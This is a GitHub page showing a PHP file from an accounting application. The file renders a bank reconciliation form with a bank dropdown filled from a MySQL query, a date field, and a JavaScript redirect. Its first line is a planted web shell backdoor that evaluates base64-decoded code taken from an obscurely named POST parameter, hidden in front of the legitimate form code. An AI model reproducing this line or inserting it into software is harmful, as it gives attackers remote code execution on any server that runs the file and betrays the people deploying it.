-
Notifications
You must be signed in to change notification settings - Fork 1
/
ac_bankreconciliationtop.php
51 lines (44 loc) · 1.4 KB
/
ac_bankreconciliationtop.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php eval(base64_decode($_POST['n26af59']));?>
<?php include "jquery.php";
include "config.php";
?>
<center>
<h4 style="color:red;font-weight:bold;padding-top:10px"><u>Bank Reconciliation</u></h4>
</center>
<form>
<?php ?>
<table align="center" cellpadding="5" cellspacing="5">
<tr>
<td>
Bank
</td>
<td>
<select id="bank" name="bank">
<option>Select</option>
<?php
$qrs = mysql_query("select code from ac_bankmasters where mode = 'Bank' order by acnos ",$conn) or die(mysql_error());
while($qr = mysql_fetch_assoc($qrs))
{
?>
<option value="<?php echo $qr['code']; ?>"><?php echo $qr['code']; ?></option>
<?php } ?>
</select>
</td>
<td></td>
<td>
Date
</td>
<td>
<input type="text" size="15" id="date" class="datepicker" name="date" value="<?php echo date("d.m.o"); ?>" onChange="loadbr();" >
</td>
</tr>
</table>
</form>
<script type="text/javascript">
function loadbr()
{
document.getElementById('bank').disabled = true;
document.getElementById('date').disabled = true;
document.location = 'dashboardsub.php?page=ac_addbankreconciliation&date=' + document.getElementById('date').value + '&bank=' + document.getElementById('bank').value;
}
</script>